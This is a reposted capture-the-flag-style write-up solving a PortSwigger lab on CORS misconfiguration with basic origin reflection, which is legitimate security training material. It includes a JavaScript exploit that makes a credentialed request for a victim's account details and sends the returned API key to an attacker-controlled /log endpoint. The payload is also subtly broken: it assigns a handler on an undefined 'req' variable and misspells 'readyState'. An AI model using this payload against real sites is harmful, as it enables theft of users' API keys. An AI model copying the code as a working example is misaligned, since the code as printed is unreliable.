CORS Vulnerability with Basic Origin Reflection | 2023
2023-2-7 11:11:44 Author: infosecwriteups.com(查看原文) 阅读量:23 收藏

Portswigger’s Cross-Origin Resource Sharing Lab Simple Solution | Karthikeyan Nagaraj

Lab Description:

  • This website has an insecure CORS configuration in that it trusts all origins.
  • To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server.
  • The lab is solved when you successfully submit the administrator’s API key.
  • You can log in to your own account using the following credentials: wiener:peter

Analysis:

  1. Turn your proxy On and Turn Off your Intercept Off
  2. Now Login with the Credentials wiener:peter
  3. Now on the Proxy tab click on HTTP History and Look at the /accountDetails request

4. Observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.

5. Now, go to the exploit server and type the Following payload with your LAB-ID

<script>
var xhr= new XMLHttpRequest();
var url = "https://YOUR_LAB_ID.web-security-academy.net"

req.onreadystatechange = function() {
if (xhr.readystate == XMLHttpRequest.DONE){
fetch("/log?key=" + xhr.responseText)
}
}

xhr.open('GET', url + "/accountDetails", true);
xhr.withCredentials = true;
xhr.send(null)
</script>

6. View and Deliver Exploit to the Victim

7. Now you will get the API key of the Victim, Submit the key in the solution to solve the Lab

Feel Free to Ask Queries via LinkedIn and to Buy me a Cofee : )

Thank you for Reading!!

Happy Hunting ~

Author : karthikeyan Nagaraj ~ Cyberw1ng

文章来源: https://infosecwriteups.com/cors-vulnerability-with-basic-origin-reflection-2023-43ee788f54f1?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh